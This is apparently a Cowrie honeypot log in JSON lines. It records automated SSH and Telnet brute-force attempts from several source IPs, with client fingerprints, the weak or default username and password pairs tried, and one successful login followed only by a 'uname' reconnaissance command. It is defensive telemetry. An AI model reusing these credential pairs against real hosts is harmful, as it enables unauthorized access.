{"eventid":"cowrie.session.connect","src_ip":"45.166.144.212","src_port":34592,"dst_ip":"10.17.0.5","dst_port":22,"session":"84302bb11930","protocol":"ssh","message":"New connection: 45.166.144.212:34592 (10.17.0.5:22) [session: 84302bb11930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:18.938761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:18.942183Z","src_ip":"45.166.144.212","session":"84302bb11930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:19.081040Z","src_ip":"45.166.144.212","session":"84302bb11930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:19.128992Z","src_ip":"5.196.136.131","session":"65af7a11774d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2022","message":"login attempt [root/unitedstates2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:19.498927Z","src_ip":"45.166.144.212","session":"84302bb11930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:20.206318Z","src_ip":"5.196.136.131","session":"65af7a11774d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:20.640303Z","src_ip":"45.166.144.212","session":"84302bb11930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":40055,"dst_ip":"10.17.0.5","dst_port":22,"session":"77490c12c018","protocol":"ssh","message":"New connection: 5.196.136.131:40055 (10.17.0.5:22) [session: 77490c12c018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:23.130140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:23.133785Z","src_ip":"5.196.136.131","session":"77490c12c018","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:23.214272Z","src_ip":"5.196.136.131","session":"77490c12c018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:23.457963Z","src_ip":"5.196.136.131","session":"77490c12c018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:24.541628Z","src_ip":"5.196.136.131","session":"77490c12c018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":44473,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea3baf10a565","protocol":"ssh","message":"New connection: 5.196.136.131:44473 (10.17.0.5:22) [session: ea3baf10a565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:27.520888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:27.524911Z","src_ip":"5.196.136.131","session":"ea3baf10a565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:27.602813Z","src_ip":"5.196.136.131","session":"ea3baf10a565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:27.837364Z","src_ip":"5.196.136.131","session":"ea3baf10a565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:28.917931Z","src_ip":"5.196.136.131","session":"ea3baf10a565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":49666,"dst_ip":"10.17.0.5","dst_port":22,"session":"982a374c0d30","protocol":"ssh","message":"New connection: 5.196.136.131:49666 (10.17.0.5:22) [session: 982a374c0d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:32.013706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:32.017040Z","src_ip":"5.196.136.131","session":"982a374c0d30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:32.093723Z","src_ip":"5.196.136.131","session":"982a374c0d30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50940,"dst_ip":"159.203.135.109","dst_port":23,"session":"4485d3728fd4","protocol":"telnet","message":"New connection: 170.64.224.25:50940 (159.203.135.109:23) [session: 4485d3728fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:32.218800Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:32.327818Z","src_ip":"5.196.136.131","session":"982a374c0d30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:33.407557Z","src_ip":"5.196.136.131","session":"982a374c0d30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":38850,"dst_ip":"10.17.0.5","dst_port":22,"session":"e29ced860129","protocol":"ssh","message":"New connection: 5.196.136.131:38850 (10.17.0.5:22) [session: e29ced860129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:36.381369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:36.395394Z","src_ip":"5.196.136.131","session":"e29ced860129","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:36.465458Z","src_ip":"5.196.136.131","session":"e29ced860129","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:36.791028Z","src_ip":"5.196.136.131","session":"e29ced860129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:37.875995Z","src_ip":"5.196.136.131","session":"e29ced860129","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":41313,"dst_ip":"10.17.0.5","dst_port":22,"session":"edf5bf97ec95","protocol":"ssh","message":"New connection: 5.196.136.131:41313 (10.17.0.5:22) [session: edf5bf97ec95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:40.768835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:40.772747Z","src_ip":"5.196.136.131","session":"edf5bf97ec95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:40.866900Z","src_ip":"5.196.136.131","session":"edf5bf97ec95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:41.091751Z","src_ip":"5.196.136.131","session":"edf5bf97ec95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:42.168854Z","src_ip":"5.196.136.131","session":"edf5bf97ec95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":46757,"dst_ip":"10.17.0.5","dst_port":22,"session":"25850d149299","protocol":"ssh","message":"New connection: 5.196.136.131:46757 (10.17.0.5:22) [session: 25850d149299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:45.167025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:45.169450Z","src_ip":"5.196.136.131","session":"25850d149299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:45.244206Z","src_ip":"5.196.136.131","session":"25850d149299","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:45.493573Z","src_ip":"5.196.136.131","session":"25850d149299","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:45.684930Z","src_ip":"5.196.136.131","session":"25850d149299","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:45.687866Z","src_ip":"5.196.136.131","session":"25850d149299","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:45.765311Z","src_ip":"5.196.136.131","session":"25850d149299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:45.769510Z","src_ip":"5.196.136.131","session":"25850d149299","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":46938,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e28088d04e6","protocol":"ssh","message":"New connection: 5.196.136.131:46938 (10.17.0.5:22) [session: 5e28088d04e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:49.535593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:49.537992Z","src_ip":"5.196.136.131","session":"5e28088d04e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:49.616462Z","src_ip":"5.196.136.131","session":"5e28088d04e6","protocol":"ssh"}
